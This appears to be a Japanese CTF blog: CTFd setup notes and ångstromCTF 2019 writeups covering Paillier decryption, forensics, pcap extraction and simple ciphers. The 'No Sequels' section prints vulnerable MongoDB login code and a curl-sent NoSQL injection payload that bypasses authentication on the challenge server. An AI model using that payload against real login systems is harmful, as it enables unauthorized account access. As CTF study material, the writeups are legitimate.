CTFd を動かしてみる

インストール

λ git clone https://github.com/CTFd/CTFd.git
λ cd CTFd/
λ python3 -c "import os; f=open('.ctfd_secret_key', 'a+b'); f.write(os.urandom(64)); f.close()"
λ sudo docker-compose up

これで http://localhost:8000 にアクセス!

結構色々できてすごい。CTF の問題は Docker とかで動かせば良いっぽいね。

参考リソース

Runes (ångstromCTF 2019)

振り返り

問題文の Paillier が問題を解くためのヒントだということに気づけなかった。

Paillier 暗号というのも初めてなので、ちゃんと勉強しよう。

Paillier 暗号

ペイエ暗号というらしい。

RSAに似てるけど加法準同型性を満たす珍しい暗号みたいで、存在を知れてよかった。

今回の問題の解き方

runes.txt には以下の内容だけが含まれています。

n: 99157116611790833573985267443453374677300242114595736901854871276546481648883
g: 99157116611790833573985267443453374677300242114595736901854871276546481648884
c: 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869

まずは msievepq の値を求めます。

λ msieve -q -v -e 99157116611790833573985267443453374677300242114595736901854871276546481648883
...
factoring 99157116611790833573985267443453374677300242114595736901854871276546481648883 (77 digits)
...
p39 factor: 310013024566643256138761337388255591613
p39 factor: 319848228152346890121384041219876391791
elapsed time 00:02:03

77桁なので2分程度で求まりました。

あとはこんな感じのプログラムで復号します。

import Crypto.Number.ModArithmetic
import Crypto.Number.Serialize

import Data.Text
import Data.Text.Encoding

p, q, n, g, c :: Integer
p = 310013024566643256138761337388255591613
q = 319848228152346890121384041219876391791
n = 99157116611790833573985267443453374677300242114595736901854871276546481648883
g = 99157116611790833573985267443453374677300242114595736901854871276546481648884
c = 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869

l :: Integer -> Integer
l x = (x - 1) `div` n

solve :: Integer -> Integer
solve c = (l (expSafe c lambda (n^2)) * mu) `mod` n
where
lambda = lcm (p-1) (q-1)
mu = inverseCoprimes (l (expSafe g lambda (n^2))) n

toDisplay :: Integer -> Text
toDisplay = decodeUtf8 . i2osp

実行結果

*Main> solve c
8483734412270322850839331621532480687141757

*Main> toDisplay $ solve c
"actf{crypto_lives}"

フラグ

"actf{crypto_lives}"

参考リソース

ångstromCTF 2019 の結果

結果

ジャンル 解いた数 / 問題数
MISC 8 / 13
REV 4 / 6
WEB 2 / 9
CRYPTO 3 / 12
BINARY 1 / 8

最終的に 720 点の 205 位でした。

振り返り

開催期間が1週間ほどの大会だったので、問題数が結構ありました。

問題もクイズ形式で簡単なものから難しいものまで幅広く、非常に勉強になりました。

サーバーがめっちゃ重たかったり、シェルにログインできなかったりということもありましたが、初心者の僕でもとても楽しむことができました。

WEBCRYPTO をもっと解けるようにしないといけないかなと思います。

また来年も出てみようと思います。

日本語で読める writeup まとめ

The Mueller Report (ångstromCTF 2019)

解説

問題のリンク先から full-mueller-report.pdf (138.8 MB) をダウンロードします。(結構時間かかる)

あとは strings コマンドを叩くだけでフラグが出てきます。

λ strings full-mueller-report.pdf | grep actf
actf{no0o0o0_col1l1l1luuuusiioooon}

フラグ

actf{no0o0o0_col1l1l1luuuusiioooon}

Scratch It Out (ångstromCTF 2019)

解説

project.json をダウンロードして中身を見てみる。

json isStage のようなキーワードで検索するとプログラミング言語の Scratch の情報が出てくるので、たぶんこれ。

project.jsonproject.sb2 のように名前を変更する。

λ mv project.json project.sb2

このファイルをオンラインエディタで開くとこんな感じ。

動かしてみると猫がフラグを教えてくれる。

フラグ

actf{Th5_0pT1maL_LANgUaG3}

参考リソース

No Sequels (ångstromCTF 2019)

解説

MongoDB に対する NoSQL インジェクションの問題でした。

画面はこんな感じ。

表示されているコードは以下の通り。

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));

...

router.post('/login', verifyJwt, function (req, res) {
// monk instance
var db = req.db;

var user = req.body.username;
var pass = req.body.password;

if (!user || !pass){
res.send("One or more fields were not provided.");
}
var query = {
username: user,
password: pass
}

db.collection('users').findOne(query, function (err, user) {
if (!user){
res.send("Wrong username or password");
return
}

res.cookie('token', jwt.sign({name: user.username, authenticated: true}, secret));
res.redirect("/site");
});
});

とりあえず curl でリクエストを投げてみる。

λ curl -X POST https://nosequels.2019.chall.actf.co/login -d "username=aaa&password=bbb"
<!DOCTYPE html><html><head><title></title><link rel="stylesheet" href="/stylesheets/style.css"></head><body><h1>No authorization token was found</h1><h2></h2><pre></pre></body></html>

No authorization token was found が返ってきてしまいます。これはクッキーのせいです。

なので、まずは GET リクエストでクッキーを取得して、それを使って POST を投げます。

λ curl https://nosequels.2019.chall.actf.co/login -c cookie.txt
λ curl -X POST https://nosequels.2019.chall.actf.co/login -d "username=aaa&password=bbb" -b cookie.txt
Wrong username or password

これでリクエストが投げれるようになりました。NoSQL インジェクションのために次のような json ファイルを用意します。

{ "username": { "$ne": null },
"password": { "$ne": null }
}

あとはこれを curl で投げるだけです。

λ curl -d @payload.json -H "Content-Type: application/json" https://nosequels.2019.chall.actf.co/login -b cookie.txt
Found. Redirecting to /site

なぜかリダイレクトしようとしていますね。(次の問題のページだったりします)

λ curl -d @payload.json -H "Content-Type: application/json" https://nosequels.2019.chall.actf.co/login -b cookie.txt -L | grep actf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 87 100 27 100 60 35 78 --:--:-- --:--:-- --:--:-- 78
100 1271 100 1271 0 0 1342 0 --:--:-- --:--:-- --:--:-- 1342
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Application Access Page</title></head><body><h2>Here's your first flag: actf{no_sql_doesn't_mean_no_vuln}<br>Access granted, however suspicious activity detected. Please enter password for user<b> 'admin' </b>again, but there will be no database query.</h2><form method="post"><label>Enter Password:</label><input type="text" name="pass2"><br><input type="submit"></form><h4 style="color:red;"></h4><pre>router.post('/site', verifyJwt, function (req, res) {

ということでこれでフラグゲット。

フラグ

actf{no_sql_doesn't_mean_no_vuln}

参考リソース

Paper Trail (ångstromCTF 2019)

解説

paper_trail.pcapng ということでネットワークのパケット問題。

Wireshark の TCP Stream で終わり

せっかくなので tshark を使ってワンライナーで抜き出す例。

λ tshark -r paper_trail.pcapng -z follow,tcp,ascii,0 | grep "^PRIVMSG" | sed 1,2d | awk -F: '{printf "%c",$2}'
actf{fake_math_papers}

フラグ

actf{fake_math_papers}

参考リソース

Paper Bin (ångstromCTF 2019)

解説

ただのフォレンジックでした。(ヒントを見てわかった)

まずは paper_bin.dat をダウンロードします。

あとは foremost で一発でした。

λ foremost paper_bin.dat
foremost: /usr/local/etc/foremost.conf: No such file or directory
Processing: paper_bin.dat
|*|

出力された outpu/audit.txt を確認すると pdf が20個も隠れていることがわかる。

λ cat output/audit.txt
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File

Foremost started at Mon Apr 22 14:28:03 2019
Invocation: foremost paper_bin.dat
Output directory: /Users/gupi/Desktop/output
Configuration file: /usr/local/etc/foremost.conf
------------------------------------------------------------------
File: paper_bin.dat
Start: Mon Apr 22 14:28:03 2019
Length: Unknown

Num Name (bs=512) Size File Offset Comment

0: 00000000.pdf 341 KB 222
1: 00000688.pdf 346 KB 352478
2: 00001384.pdf 363 KB 708830
3: 00002112.pdf 353 KB 1081566
4: 00002824.pdf 333 KB 1446110
5: 00003496.pdf 370 KB 1790174
6: 00004240.pdf 349 KB 2171102
7: 00004944.pdf 388 KB 2531550
8: 00005728.pdf 356 KB 2932958
9: 00006448.pdf 318 KB 3301598
10: 00007088.pdf 411 KB 3629278
11: 00007912.pdf 351 KB 4051166
12: 00008616.pdf 317 KB 4411614
13: 00009256.pdf 319 KB 4739294
14: 00009896.pdf 339 KB 5066974
15: 00010576.pdf 324 KB 5415134
16: 00011232.pdf 321 KB 5751006
17: 00011880.pdf 293 KB 6082782 (PDF is Linearized)
18: 00012472.pdf 374 KB 6385886
19: 00013224.pdf 344 KB 6770910
Finish: Mon Apr 22 14:28:04 2019

20 FILES EXTRACTED

pdf:= 20
------------------------------------------------------------------

Foremost finished at Mon Apr 22 14:28:04 2019

00011880.pdf にだけ (PDF is Linearized) という表示が出てるので、このファイルを調べるとフラグゲット。

フラグ

actf{proof_by_triviality}

参考リソース

Classy Cipher (ångstromCTF 2019)

解説

classy_cipher.py の内容は以下の通り。

from secret import flag, shift

def encrypt(d, s):
e = ''
for c in d:
e += chr((ord(c)+s) % 0xff)
return e

assert encrypt(flag, shift) == ':<M?TLH8<A:KFBG@V'

フラグを shift 分ずらしてるだけ。フラグの形式は actf{xxxxxx} となっているはずなので a: が対応するような shift を探す。

Haskell で書くとこんな感じ。

import Data.Char

solve :: Char -> Char -> Int
solve plain encrypted = head [ n | n <- [0..0xff], shift n plain == encrypted]

shift :: Int -> Char -> Char
shift k c = chr ((ord c + k) `mod` 0xff)

試してみます。

*Main> solve 'a' ':'
216

シフト数がわかったので復号します。

*Main> map (shift (-216)) ":<M?TLH8<A:KFBG@V"
"actf{so_charming}"

フラグ

actf{so_charming}

Half and Half (ångstromCTF 2019)

解説

half_and_half.py の内容は以下の通り。

from secret import flag

def xor(x, y):
o = ''
for i in range(len(x)):
o += chr(ord(x[i])^ord(y[i]))
return o

assert len(flag) % 2 == 0

half = len(flag)//2
milk = flag[:half]
cream = flag[half:]

assert xor(milk, cream) == '\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"'

コードを読むと、どうやらフラグの前半と後半の xor を計算しているということがわかる。

そしてその結果が '\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"' になるようだ。

この文字列は16進数のコードポイント形式 (\x15) と数値 (0) と文字列 (\t, ") がまざっているため、わかりにくいが、読み解くと全部で12文字だということがわかる。

ということは以下の表の下段の x8, x9, x10, x11, x12 と上段の x7 は即座に計算できる。

index 1 2 3 4 5 6 7 8 9 10 11 12
前半の12文字 a c t f { x1 x2 x3 x4 x5 x6 x7
後半の12文字 x8 x9 x10 x11 x12 x13 x14 x15 x16 x17 x18 }
xor を計算した結果 0x15 0x02 0x07 0x12 0x1e 0x10 0 0x01 \t \n 0x01

Haskell でこれを計算してみます。

import Data.Bits
import Data.Char

solve :: Char -> Int -> Char
solve c t = chr ((ord c) `xor` t)

xs :: [(Char, Int)]
xs = [ ('a', 0x15)
, ('c', 0x02)
, ('t', 0x07)
, ('f', 0x12)
, ('{', 0x1e)
, ('}', ord '"')
]
> map (uncurry solve) xs
"taste_"

良い感じです。ここまでで、さっきの表が少し埋まりました。

index 1 2 3 4 5 6 7 8 9 10 11 12
前半の12文字 a c t f { x1 x2 x3 x4 x5 x6 _
後半の12文字 t a s t e x13 x14 x15 x16 x17 x18 }
xor を計算した結果 0x15 0x02 0x07 0x12 0x1e 0x10 0 0x01 \t \n 0x01

つなげると actf{??????_taste??????} という形になります。

ここからはエスパーで tastes_nice なんじゃないかと思って計算して、失敗したので tastes_good でいけたって感じです。

なのでそんな感じで計算すると

xs :: [(Char, Int)]
xs = [ ('t', 0x15)
, ('a', 0x02)
, ('s', 0x07)
, ('t', 0x12)
, ('e', 0x1e)
, ('s', 0x10)
, ('_', ord '0')
, ('g', 0x01)
, ('o', ord '\t')
, ('o', ord '\n')
, ('d', 0x01)
, ('}', ord '"')
]
> map (uncurry solve) xs
"actf{coffee_"

良い感じに前半が出てきました。あとはくっつけるだけです。

> map (uncurry solve) xs <> map fst xs
"actf{coffee_tastes_good}"

フラグ

actf{coffee_tastes_good}